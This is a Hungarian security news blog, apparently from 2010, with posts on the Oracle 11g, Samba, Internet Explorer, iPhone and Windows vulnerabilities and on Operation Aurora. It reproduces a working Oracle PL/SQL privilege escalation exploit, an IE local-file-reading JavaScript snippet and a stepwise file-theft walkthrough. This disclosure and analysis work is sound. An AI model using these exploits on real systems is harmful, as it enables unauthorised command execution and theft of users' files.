Frissítés: Most látom, hogy a hiba részletei is elérhetők egy ideje, ráadásul igen mókás sebezhetőségről van szó. Az Oracle embereinek persze nem vették túl jó néven Evgeny Legerov nem túl felelős nyilvánosságrahozatali módszerét...

Először ez előző Oracle-s posztot akartam frissíteni, de túl sok minden jött össze az utóbbi 24 órában: 

• Az Oracle soron kívüli frissítést adott ki, de nem a DBMS-ben felfedezett probléma, hanem egy a WebLogic Server  Node Manager komponensében távolról, autentikáció nélkül kihasználható sebezhetőség kapcsán. A tegnap bemutatott adatbázisszervert érintő probléma egyelőre javítatlan marad. 
• A BlackHat oldaláról eltávolították a David Litchfield elődásáról készült videót, de a lényegi részek természetesen már rég elérhetőek ezer más helyről. Nálam le is van töltve az anyag, ha nagyon nyaggattok lehet hogy feltolom majd valahova. A videó visszakerült.
• Ahogy gadget egy kommentben megjegyezte, az Oracle 11g sebezhetősége a 10-as főverzióban is jelen van, de ezek a verziók nem tartalmazzák azt a Java metódust, amellyel a példában operációsrendszer parancsokat adtak ki. Alexander Kornburst szerint azért más úton ez ugyanúgy elérhető a régebbi verziókban is.

0day nap van úgy látszik, Kingcope publikált egy videót, amiben megmutatja, hogy hogyan lehet egy preparált Samba kliens segítségével olyan szimbolikus linkeket létrehozni egy távoli kiszolgálón, amelyek kimutatnak az engedélyezett könyvtárfából, így lehetőséget adva egy autentikált - akár Anonymous - felhasználónak, hogy a kiszolgáló teljes feájlrendszeréhez hozzáférjen:

Frissítés:

A Samba fejlesztői "nem biztonságos alapértelmezet beállításként" értékelik a problémát, és a wide links opció kikapcsolását javasolják az érintetteknek. Az elkövetkező kiadásokban ezt a beállítást fogják alapértelmezetté tenni, és kiegészítik a kézikönyveket az erre vonatkozó biztonsági kérdések tárgyalásával.

Tegnap a BlackHat-en David Litchfield tartott egy előadást, melyben egy jogosultságkiterjesztésre alkalmas, javítatlan Oracle 11g sebezhetőséget is bemutatott. Az előadásról készült videó most már elérhető, így nyilvános az exploit is:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,’java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,’ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

A fenti parancsok lefuttatása után a dbms_java.runjava() metódust használva tetszőleges operációsrendszer parancsokat futtathatunk.

A videó ezen kívül még sok más érdekességet tartalmaz, érdemes megnézni!

 Elkezdődött az idei BlackHat DC, és az ígéreteknek megfelelően tegnap Jorge Luis Alvarez Medina megtartotta azt az előadását, amelyben feltárta az Internet Explorer összes változatát érintő, illetéktelen távoli fájlhozzáférést biztosító hibahalmazának részleteit. A problémával kapcsolatban már írtam egy bejegyzést régebben, melyben a CORE-2008-0826 jelű problémát sejtettem a háttérben, mivel a nyilvánosságra került információmorzsák mindegyike beleillet a jelentsben leírt támadási folyamatra.

Mint kiderült, nem lőttem nagyon mellé: a Microsoft a fenti problémára ugyan kiadott egy javítást 2009 júniusában, de idő közben kiderült, hogy a Core Security egyik példakódja ennek ellenére is lefut egy korábban már javított IE8-on. A Microsoft álláspontja szerint a biztonsági szakértők a kérdéses kódban egy másik problémát használtak ki, melynek kihasználási módja a jelek szerint csak egy lépésben különbözik a 2008-as felfedezésétől.

A júniusi frissítésben védekezésként a Microsoft módosította az <object> tag viselkedését, amikor az a 127.0.0.1-ről betöltődő ismeretlen MIME típusú objektummal találkozik. Ha viszont az <object> taget JavaScriptből dinamikus DOM objektumként csapjuk hozzá a megjelenített weboldalhoz, a korlátozás nem érvényesül:

  <script language="Javascript">

                var obj = document.createElement("object");

                obj.data = "file://127.0.0.1/C$/.../index.dat";

                obj.type = "text/html";

                obj.id = "obj_results";

                obj.width = "500px";

                obj.height = "300px";

                document.body.appendChild(obj);

         </script>

A támadás többi rész megegyezik a korábbi sebezhetőségnél tárgyaltakkal, így vedlett át a CORE-2008-0826 CORE-2009-0625-vé. Az Internet Explorer összes támogatott változata érintett. Javítás egyelőre nincs, elkerülő megoldásokért a Microsoft figyelmeztetőjét érdemes olvasgatni.

Az Apple kiadta az iPhone és iPod Touch 3.1.3-as firmware-ét, melyben több kritikus sebezhetőséget orvosol. A problémák elsősorban az audió illetve videólejátszásért felelős modulokat érintik és kódfuttatást tesznek lehetővé speciálisan összeállított médiafájlok esetén, ezeken kívül a WebKitet is távolról rá lehet venni, hogy rosszszándékú utasításokat hajtson végre, ha sikerül a felhasználót egy megfelelően beállított FTP szerverre csalogatni. 

A berhelt iPhone-t használóknak - bár a redsn0w eszközt nem rég frissítették - természetesen most sem ajánlott az új firmware-re történő átállás.

A fentieken kívül ma még egy szifonos érdekességről lehetett olvasni: egy a Cryptopath blogon megjelent bejegyzés szerint egy kis social engineeringgel az Apple okostelefonjai pofonegyszerűen rávehetők alapvetően megbízhatatlan forrásból származó konfigurációk telepítésére.

A nagylétszámú flották távoli konfigurációját (szebb nevén: Over-The-Air provisioning) lehetővé tevő kliens szoftver csak aláírt konfigurációkat fogad el, ami jó, csakhogy a megbízható tanúsító szervezetek listáját egy az egyben átveszi a Safaritól. Ebben a listában pedig olyan szervezetek is szerepelnek, mint a VeriSign amelyek egy eldobható e-mail címért cserébe hajlandóak mindenféle nevekre demó tanúsítványokat osztani. A bloggerek csináltak is egy ilyen, 60 napos tanúsítványt az "Apple Computer" névre, majd alárítak vele egy "Security Update" címmel ellátott konfigurációt, ezt bárki elérheti a 

http://dl.dropbox.com/u/4377334/update.mobileconfig

címen. A fájl természetesen nem tesz semmi gonoszat, csak betölt egy népszerű YouTube videót, de a szakértők szerint ilyen módon módosítható a globális webproxy beállítás és a megbízható CA-k listája is, ami remek Man-in-the-Middle támadásokra ad lehetőséget. Ehhez pedig nem kell mást tenni, mint rávenni az egyszeri iPhone felhasználót, hogy telepítsen egy nagyon fontos, megbízhatónak tűnő frissítést.

Március elején hivatalos Ethical Hacking képzés indul a BME-n az Automatizálási és Alkalmazott Informatikai Tanszék és az EC-Council hazai képviselője, a NetAcademia Oktatóközpont közös szervezésében.

Hamarosan lesz egy bemutató a képzésből – gyere el!
Ha érdekel az informatikai biztonság egyik legizgalmasabb ága, az etikus hekkelés, gyere el Te is a képzésbemutatóra! Hekkelésekkel fogjuk demonstrálni, miért fontos/érdemes ezzel a területtel foglalkozni, milyen előnyöket jelent a CEH (Certified Ethical Hacker) minősítés megszerzése, illetve megtudhatsz minden részletet a képzés elvégzésével kapcsolatban.

(via Balássy György)

A bemutató időpontja és helye: február 9. 17:15-20:00, BME I épület, IB028.

Ez egyáltalán nem egy NetAcademia által támogatott poszt.

Kicsit későn szólok, de január 31-én van határideje a spanyol Campus Party 2010 rendezvényre történő jelentkezésnek. A Campus Party egy előadásokat, worksopokat és versenyeket magában foglaló rendezvény a technológia, kreativitás és digitális kultúra jegyében. Az április 14-18 között rendezendő eseményen külön szekciót szentelnek a hálózati biztonságnak, erre a területre országonként 2 főt hívnak meg. A jelentkezőknek egy kb. 30 soros önéletrajzot kell benyújtaniuk, melyben részletezik eddigi tevékenységüket, eredményeiket, publikációikat, a legmeggyőzőbb pályamunkák elkészítői vehetnek részt a Campus-on (az utazást és a szállást a spanyol állam szponzorálja). Az idei év előadói között szerepel Joanna Rutkowska és Stefano Di Paola, a témában kiírt programozói verseny fődíja pedig 2000 dollár. 

Még van négy nap, hajrá!

Az van, hogy nem tudom hol találtam a linket erre a Core Security figyelmeztetőre, minden esetre a H-Security azt írja, hogy a lent részletezett bugot már javította a Microsoft, erre utaló bejegyzést ugyanakkor sem a disclosure timeline, sem a BID nem mond semmit a javítás kiadásáról. Minden esetre szerintem egy nagyon érdekes próblémáról van szó, és nagy valószínűséggel a BlackHat-en is valami nagyon hasonlót fognak bemutatni.

Nos, eddig abban a hitben éltem, hogy az újonnan bejelentett Internet Explorer hiba részleteiről csak február 2-án szerezhetünk tudomást, amikor is a hiba felfedezője, Jorge Luis Alvarez Medina elő fogja adni a történetet a BlackHaten. Egyedül azért álltam neki ennek a posztnak, mert tisztázni akartam azt a sok marhaságot, amit a hazai hírportálok eddig leközöltek, aztán látom, hogy a Core Security teljes leírással és PoC-al szolgál az érdeklődőknek. Lássuk tehát, hogyan is lehet lenyúlni az egyszeri IE felhasználó fájljait:

1. Először is ki kell találni a célpont felhasználónevét: ez nem nehéz, ha nyitva van a 445-ös port, ahol a Windows általában a fájlmegosztást intézi, egyébként találgatni kell. Ez a történet gyenge pontja, valamint a nyelv is bezavarhat de ezzel most nem foglalkozunk (a Windowst korlátos számú nyelven adták ki, tehát a probléma áthidalható).
2. A felhasználónév alapján tudjuk, hogy milyen útvonalon lehet hozzáférni az Internet Explorer által tárolt adatokhoz, pl. a böngészési előzményekhez vagy a sütikhez.
3. Ez után a támadó elindít egy HTTP-átirányítás-láncot, ami teleszórja mindenféle címekkel a böngészési előzményeket. A trükk az, hogy ezeket egy majdnem sima szöveges állományban tárolja az IE, amibe simán berakhatunk némi HTML kódot is. 
4. A átirányítás sorozat utolsó állomása először is csinál egy <frame>-et, amibe betölt egy <object> taget tartalmazó fájlt. A böngésző mindenféle felesleges figyelmeztetéseket dobálna a felhasználónak, ha egy <object> tag-en keresztül szeretnénk hozzáférni egy fájlhoz, de amennyiben mindezt egy keretben tesszük, a figyelmeztetések eltűnnek.
5. Az <object> tag egy útközben generált, text/html MIME típusú távoli fájlra hivatkozik, ami egy 302-es HTTP átirányítással (igen, ez is feldolgozódik) a file:// protokollazonosítót használva egyszerűen átdobja a felhasználót a saját history fájljára (aminek a helyét a felhasználónévből tudjuk), amit ugyebár már előzőleg teleszórtunk HTML kóddal. 
6. Ez a kód az Internet Zónában renderelődik, aminek elvileg nincs joga hozzáférni a helyi gép erőforrásaihoz. A trükk az, hogyha a nem gépnévvel, hanem IP címmel hivatkozunk a helyi hosztra UNC formátumban (\\127.0.0.1), az IE úgy tekinti, hogy az Internet Zónában keresünk valamit, a zónán belüli olvasás pedig megengedett, így bármit kiolvashatunk, az áldozat gépéről, aminek tudjuk az elérési útját. Természetesen a kiolvasó szkriptnek a helyi hoszton kell futnia, hogy hozzáférjen a lokális fájlokhoz, erre ment ki a játék a harmadik lépésben.  

Röviden ennyi a történet, bővebb információkért nézzétek meg az eredeti leírást és tanulmányozzátok a PoC-t. A fenti furcsaságok oka egyébként nagy valószínűséggel az, hogy az IE motorját használja a Windows Explorer is. Az illetéktelen fájlolvasáshoz egy sor, önmagában ártalmatlan bug és feature láncolata vezetett, látszik tehát, hogy tervezési hibáról van szó. 

Megoldásként IE8-ra vagy alternatív böngészőre váltás, az Internet és Intranet zónák biztonsági szintjének Magasra állítása, az IE védett módú futtatása vagy a file:// protokollkezelő letiltása képzelhető el.

Január elején ismeretlen támadók sikeres támadást hajtottak végre a Tor anonimizáló szolgáltatás két kiszolgálója ellen. Az incidens két könyvtárszervert, a moria1-et és a gabelmoot érintett. Ezek a közolgálók - öt másikkal együtt - felelősek a megbízható onion routerek meghírdetéséért, és legalább négyük egyetértése szükséges egy-egy csomópont megbízhatónak nyilvánításához. 

Úgy tűnik, hogy a támadás nem kimondottan a Tor-t célozta, a behatolók egyszerűen a kiszolgálók CPU teljesítményét illetve sávszélességét kívánták saját céljaikra használni, így az érzékenyebb adatokhoz, pl. a moria1-en tárolt SVN és Git tárolókhoz nem nyúltak. 

Mindazonáltal az illetékesek mindenkinek javasolják a legújabb változatokra történő frissítést, mivel az érintett rendszerek kipucolásuk és hardeningjük után új azonosító kulcsokat kaptak, ezeket pedig a legújabb kiadások tartalmazzák. 

A Microsoft végre kiadta a javítást a Google-el szemben is kihasznált Internet Explorer sebezhetőség javítását. A javítócsomag összesen nyolc biztonsági hibajavítást tartalmaz a böngésző különböző verzióihoz, de ezek közül csak a nagy vihart kavart CVE-2010-0249 jelűt használják ki rosszindulatú támadók jelenleg is. 

Mindenki frissítsen a Windows Update szolgáltatáson keresztül amilyen gyorsan tud!

Tavis Ormandy, a Google munkatársa egy olyan exploit leírását tette közzé, amely elvileg minden 32-bites Windows változaton lehetővé teszi a helyi felhasználó jogainak kiterjesztését rendszer szintre. A problémát az elavult 16-bites alkalmazások számára BIOS hívásokhoz elérést biztosító interfészek megvalósításában van. A magyarázat előtt jelenleg én is tátott szájjal állok, és próbálom összerakni a képet, mert nagyon nem egyszerű a dolog.

Ormandy egy exploitot is közzétett, amely egy SYSTEM jogosultságú parancssort produkál az érintett rendszereken. A H-Security munkatársai sikeres tesztet hajtottak végre ezzel Windows XP-n és 7-en, de a felfedező állítólag Server 2003 és 2008, valamint Vista rendszereken is produkálni tudta az elvárt működést.

A Microsoftot 2009 közepén értesítették a problémáról, javítás egyelőre nincs. Elkerülő megoldásként az MS-DOS és WOWEXEC alrendszerek letiltása képzelhető el (Group Policy Editor-> Windows Components\Application Compatibility\Prevent access to 16-bit applications). 

Frissítés:

A VUPEN megerősítette, hogy a módszer működik Windows Server 2000, 2003, 2008, Vista és 7-es rendszereken.

Valamivel egyszerűbb workaround a következő Registry szkript lefuttatása:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]

"VDMDisallowed"=dword:00000001

Van pár említésre méltó érdekesség az Operation Aurora-val kapcsolatban, amikről jobb ha innen értesültök, és nem mondjuk az indexről:

• A 0-day IE exploitot Dino Dai Zovi (állítása szerint) megbízhatóan "portolta" IE7-re WinXP és Vista alá
• A legjobb védekezési módszernek a Data Execution Prevention bekapcsolása tekinthető (közben ezt is megdöntötték, lásd a frissítést!). A következő konfigurációkon (megfelelő hardver és BIOS beállítások esetén) ez alapértelmezett:
  - Internet Explorer 8 + Windows XP Service Pack 3
  - Internet Explorer 8 + Windows Vista Service Pack 1 vagy későbbi
  - Internet Explorer 8 + Windows Server 2008
  - Internet Explorer 8 + Windows 7
• Windows XP SP2 valamint Vista RTM felhasználók használhatják ezt a csomagot a DEP engedélyezésére. További infók a megelőzéssel kapcsolatban erre.
• Az F-Secure arról számol be, hogy múlt héten(!) a hosszú ideig javítatlan Adobe Reader sebezhetőséget használták ki több, az amerikai hadsereggel együttműködő szervezettel szemben. A támadás célzottságát jól mutatja, hogy a kártékony kóddal megspékelt dokumentum egy valódi, Védelmi Minisztérium által szervezett konferenciára szóló meghívó volt. A sikeres kihasználást követően a trójai egy HTTP kapcsolaton keresztül egy taivani IP címhez kapcsolódott.

Frissítés:

Idő közben a VUPEN Security szakemberei állítólag létrehoztak egy olyan exploit-ot, ami a DEP-et is sikeresen megkerüli. A cég a JavaScript letiltását javasolja az érintett felhasználóknak. (thx Hunger). Emellett az az állítás is megdőlni látszik, hogy a sebezhetőséget kizárólag célzottan használják ki: a McAfee jelentése szerint hagyományos támadássorozat kezdődött az IE bug kihasználásával, bár ez egyelőre elsősorban Kínát érinti.

MagyarHacker írt egy levelet, amelyben figyelmembe ajánlotta saját blogját, ahol jelenleg a címben szereplő személy és szervezetek weboldalain felfedezett SQL injection lehetőségekről számol be, valamint egy reflektív iWiW XSS-t illetve a közösségi portált érintő néhány konfigurációs gyengeséget is említ. 

A politikai flame-et hanyagoljuk ha lehet, akinek valamelyik érintett a szíve szottya, az írjon levelet a felelős üzemeltetőknek!

Sikerült tisztázni az összes függő kérdést, és a szavazás is elég egyértelmű eredményt hozott, íme a részletek, figyeloda, mert sok a változás:

Az első és a legfontosabb az időpont: január 22., péntek, 19:00 óra.

Fájó szívvel bár, de ezúttal elköltözünk az Óbesterből, helyette a gombamód fejlődő H.A.C.K.-be (Akácfa utca 51., a Király és a Wesselényi utca között) megyünk dajdajozni, ahol egyrészt mindenki megcsodálhatja A magyar hackerspace-t, valamint a józanéletűek beszállhatnak a hegesztés workshopba is (a hegesztők pedig a sörözésbe természetesen). 

A "sörözés" részt egyrészt a Biztributor által nagylelkűen felajánlott sörkészlet fogja támogatni, másrészt házibuli jelleggel a saját táskák tartalmára, a HACK helyi tartalékaira, valamint a néhány perc gyaloglással elérhető éjjelnappalira támaszkodva a borpártiak, illetve a nagyonszomjasak is kielégíthetik vágyaikat (arra azért felhívnám a figyelmet, hogy a lépcső mellet pl. nincs korlát...).

Mindenkit nagy szeretettel várunk!

Frissítés: Most kaptam a hírt, hogy a Titkos Koffein HACKosztály péntekre várhatóan leszállít egy nagyobb adag Club Mate-t, így a long-drinkek kedvelői akár Chunk-kal is boldogíthatják az agysejtjeiket.

Dr_IDE egy lejátszók széles skáláját érintő, puffer túlcsortulást előidéző sebezhetőséget fedezett fel (az Exploit-DB fekszik perpill...) a QuickTime megosztott függvénykönyvtárának HTTP DataHandler osztályában(?). A hiba speciális .MOV fájlok lejátszásával használható ki. A probléma megtalálható az Apple QuickTime és iTunes szinte összes változatában (köztük a legfrissebbekben is), a Safari böngészőben, a MS Excel és a Word 2008, valamint a VLC Media Player OS X-re írt változataiban, valamint egy sor egyéb, lejátszásra alkalmas alkalmazásban. Bővebb, de valószínűleg nem teljes lista található Dr_IDE beszámolójában.

A Google ellen is használt, távoli kódfuttatást eredményező 0-day Internet Explorer exploit elérhető itt. A Metasploit Frameworkbe már be is emelték a cuccot:

Bár a sebezhetőség a böngésző összes támogatott változatát érinti, ez a támadás csak IE6 esetében megbízható, az IE8-ban alapértelmezett DEP pedig szintén megakadályozhatja a sikeres kihasználást.

Az újabban "Operation Aurora" néven futó támadássorozattal kapcsolatos nyomozás jelenlegi állásáról a HUP-on olvashattok egy hosszabb összefoglalót.

by trey@HUP

A Google a napokban jelentette be, hogy kifinomult és célzott támadást indítottak ellene, illetve körülbelül két tucat amerikai nagyvállalat ellen Kínából. Ezért a keresőóriás átértékelte Kínával kapcsolatos hozzáállását és bejelentette, hogy kész kivonulni az országból. A bejelentés nagy port kavart fel, még az Egyesült Államok külügyminisztere is megszólalt az ügyben, választ várva a kínai kormányzattól.

A bejelentés után megindult a találgatás arról, hogy milyen hibákat használhattak ki a támadók. Felröppent a hír, hogy 0day Internet Explorer sebezhetőség lehetett a támadás egyik segítője. A Microsoft tegnap elismerte, hogy ez így van.

Ajénlott elolvasni a McAfee fent is linkelt blogposztját, valamint annak kiegészítését/összefoglalóját, ezen a linken pedig egy (fenntartásokkal kezelendő) analízist olvashattok a használt trójai működéséről, viselkedéséről.

Jól láthatóan löketesen vagyok terhelt: az utóbbi pár nap híreiről lemaradtam, most meg hirtelen annyi szabadidőm keletkezett, hogy elolvastam xorl elég terjengősre sikerült leírását az először felfedezett, távolról kihasználható OpenBSD biztonsági hibáról, amely az FTP szolgáltatást érintette. Bár a poszt még az utolsó nyamvadék wrapper rutin működésére is kitér, egy lényeges dolgot azért hiányolok:

A probléma oka az volt, hogy egy cikluson belül inkrementált változót használtak fel egy string záró \0-jának beillesztéséhez, ez pedig az allokált puffer 1 (NULL-)byteos túlcsordulásához vezethetett, ami felülírhatta az EBP regiszter (aka. Frame/Base Pointer)  értékét. A hibás függvény visszatéréskor így rossz értékre állította vissza az ESP (Stack Pointer) értékét és ezáltal rossz helyről olvasta vissza az EIP regiszter (aka. Instruction Pointer) által mutatott címet is, a programfutás tehát nem a várt helyen folytatódott.

A kérdés az, hogy (a fenti folyamatot feltételezve) milyen peremfeltétel(ek)nek kell teljesülni ahhoz, hogy az EIP regisztert a támadó állíthassa be végül?

Jó matekolást ;)

• A Readeremben kb minden 5. hír ez volt, és (-1) is elküldte: Kínai hackerek kifinomult támadást intéztek helyi emberjogi aktivisták Google fiókjai ellen, és jogosulatlan hozzáférést szereztek a cég bizonyos adataihoz (valójában egy támaddássorozatról volt szó, amely több más jelentősnek mondott, de meg nem nevezett internetes céget is éritnett). A történtek hatására a Google újra tárgyalásokat kezdeményez a kínai kormánnyal a google.cn cenzúrájának megszűntetéséről. Ha nem születik megegyezés, a keresőóriás kész kivonulni az országból. Részletesebb infók magyarul az ITCafé-n
• Nem rég iráni rosszfiúk némi social engineeringet bevetve eltérítették kínaiak kedvenc keresője, a Baidu DNS rekordjait is (kíváncsi vagyok milyen gépen hosztolták a deface oldalt egy ~1 milliárd fős országnak). Cserébe persze a kínaiak szétszedtek egy halom iráni site-ot.
• A Microsoft ehavi frissítőcsomagja mindössze egy frissítést tartalmazott, amely az OpenType Font Engine-en keresztül távoli kódfuttatást tesz lehetővé Windows 2000 SP4 rendszereken, illetve 32-bites Windows XP-n, amennyiben a gépben 3GB-nál több memória van, és egy ezt kezelni képes alkalmazás a sebezhető API-t használja.
• Megérkezett a várva várt Adobe patch is. Közben a 7.x-es Acrobat (Reader) széria támogatása megszűnt, a Microsoft pedig azt tanácsolja, hogy a régi XP-kkel érkező Flash Player 6-ot inkább távolítsák el a felhasználók a számítógépeiről - micsoda bölcs előrelátás!
• Az Oracle júzerek viszont jobb ha felkötik a gatyájukat: 24 biztonsági frissítés érkezett a különöbző termékekhez, melyek közül 13 távolról, autentikáció nélkül kihasználható, és a futtató számítógép teljes komprommitálásához vezethet! Erről lehet hogy lesz külön poszt is.
• Hatékony támadást mutattak be a 3G mobil rendszerekben használatos A5/3 titkosítási algoritmussal szemben. A PET Portál beszámolóját azért annyival kiegészíteném, hogy GSM-et lehallgatni - ahogy azt a 26C3 óta tudjuk - nem is olyan nehéz. Friss: stef posztját érdemes elolvasni A5/x és telkó témában!

Z küldte be ezt a képet, ami forradalmi változást mutat az átlagfelhasználók viselkedésében (és az Origo látogatottságában):

(Az én szavazásaim is hackelhetőek (így nincs kihívás a meghackelésükben ;), de léééégyszi hagyjátok őket békén! Ha nem, akkor megölök egy kiscicát, vagy ilyesmi)

Nem pazarolnám a szót, oldalt lehet szavazni :)

...az IT-Security szakma :)

Egy kis emlék CCC-ről

Egyébként nem rég kaptam spamet levelet az UltraWebtől, hogy milyen fasza is lenne nekem, ha Panda Internet Security-t használnék. Tényleg az lenne. Bruhaha...

A SecurityReason munkatársai most megjelent tanácslatukban felhívják a figyelmet, hogy a tavaly októberben NetBSD és OpenBSD rendszerekkel kapcsolatban napvilágot látott, dtoa() és printf() sebezhetőségekkel rokon hibák a Mac OS 10.5 és 10.6 változatait is érintik.

A problémák nem várt felépítésű lebegőpontos számok (stringek) átalakításánál puffer túlcsordulást okoznak. Amennyiben sikerül népszerű, az érintett függvényeket kihasználható módon felhasználó alkalmazásokat találni, az könnyen egy OS X rendszereket célzó támadási hullámhoz vezethet.

Az Apple tervezett lépéseiről egyelőre nincs információ.

Ez a módszer már fáj:

Samy, a híres MySpace XSS féreg készítője nem rég rámutatott, hogy egyes routerek annyira okosak és segítőkészek, hogy felismerik az alkalmazásrétek IRC, FTP és kitudja milyen egyéb protokollt használó üzeneteit, és szükség esetén automatikusan beállítják a port forwardingot, pl. egy DCC chat kérés vagy fájlátvitel esetén. Egy speciális "IRC szervert" beüzemelve,  a célszemély számára pedig egy egyszerű HTML oldalt kiszolgálva megoldható, hogy kiirányítsuk a router mögötti számítógép érzékeny portjait (pl. SSH, FTP, HTTP) egyenesen az Internetre. 

Ilyen az, amikor a HW/SW úgy gondolja, hogy okosabb a júzernél.

Ha már routereknél tartunk: A Juniper hálózati eszközeinek széles skálája egyetlen speciális TCP csomaggal újraindítható. Konkrétabb infó egyelőre nem áll rendelkezésre, de egy TCP fuzzert összedobni azért nem nagy mutatvány :) 

Az egyik leggyakrabban felvetődő kérdés, amit SQL injection témában nekem szegeznek az, hogy mégis hogyan valósítható meg a gyakorlatban az "SQL smuggling" néven elhíresült támadási forma? A legenda szerint ezen módszer felhasználásával bizonyos escape-elési eljárások megkerülhetők, mivel a bemenetellenőrzést végző alkalmazás a különböző karakterkészlet-beállítások miatt az adatbáziskiszolgálótól eltérően értelmezi a potenciálisan veszélyes karaktereket. Őszintén szólva az én ismereteim sem voltak kimerítőek a témában (és valószínűleg még mindig nem azok), de a CCC-n EQ unszolására ("Most hackelni jöttél vagy Fluxboxot konfigolni?" ;) újra elővettem a régi leírást, és azt hiszem sikerült meglátnom a fényt az alagút végén:

A Comsec-féle tanulmány egyrészt több, gyakran előforduló programozói hibát, illetve IDS-megkerülési módot mutat be, de ezek nem jelentenek különösebb izgalmat. Az érdekes rész a Unicode Smuggling fejezetben kezdődik, ahol a szerző felveti, hogy a különböző karaktertáblák hasonlóan kinéző karaktereit egymásba átvívő "homoglifikus" (a rangidős nyelvész kérem javítson ki!) transzformációk bizony biztonsági kockázatot rejtenek magukban. Azaz, pl. az Ā karaktert a DBMS okosan A-vá alakítja, a sokféle szemita felülvonást pedig ASCII aposztróffá. A probléma ott van, hogy mégis mely adatbáziskezelők végeznek ilyenfajta váratlan átalakításokat a bemeneten? A hivatkozott tanulmány csak annyit mond, hogy az MS SQL Server 2005 már nem, valamint hogy a MySQL egyes régebbi Java connectorai még lehetővé tettek ilyen támadásokat. Nem sok. 

Ha kicsit jobban utánajárunk a dolognak, észrevehetjük, hogy SQL Smugglinggal kapcsolatban szinte kizárólag az eredeti Comcast-féle tanulmány különböző hivatkozásait találjuk, konkrét esettanulmányokat nem. Támpontként leginkább egy régi Bugtraq-os szálat használhatunk,  melyben többen kritizálják a tanulmányt, mondván, hogy itt szó sincs új típusú támadásokról, egyszerűen néhány régimódi hibatípust fedeztek fel újra. 

Emellett ugyanakkor találunk néhány gyakorlati példát is: David Litchfield például a PLSQL-ben alkalmazott tárolt-eljárás-feketelista (grammarnazis, help me!) megkerülésére mutatott példát még 2001-ben. Itt a problémát az okozta, hogy a PLSQL a ÿ karaktert Y-á konvertálta, de a SYS.* tárolt eljárásokra vonatkozó szabályok nem kerültek érvényesítésre. Gary Oleary-Steel egy Ruby szkriptet tett közzé, melyet IIS-el tesztelt, de bővebb információ nem áll rendelkezésre arról, hogy hogyan.

EQ-val elvégeztünk egy csomó tesztet MySQL-lel szemben, de nem siekrült még csak aggodalomra okot adó viselkedést sem kicsikarnunk a kiszolgálóból.

Úgy tűnik tehát, hogy az SQL Smuggling lényegében ráhúzható minden DBMS, webszerver vagy interpreter bugra, ami nem kezeli megfelelően a speciális karaktereket, ezeket viszont az érintett gyártók általában hamar javítják, az egyszer programozónak/üzemeltetőnek pedig nincs sok ráhatása az ilyen problémák megelőzésére. Az egyetlen gondot az így-úgy összebarkácsolt szűrőeljárások jelenthetik, de ezeket általában akkor is megkerüli az ember előbb vagy utóbb, ha nem tudja mi is az az SQL Smuggling.

Szóval használjatok naprakész szoftvereket, és ne próbáljátok meg feltalálni a spanyolviaszt, ha pedig behatolástesztelésre kerül a sor, a sebezhetőség-adatbázisok környékén kell kutakodni, mert úgy tűnik, nem létezik varázsmódszer a jól ellenőrzött  SQL paraméterekkel és előkészített lekérdezésekkel szemben.

Még egyszer köszönet EQ-nak a motivációért és a segítségért!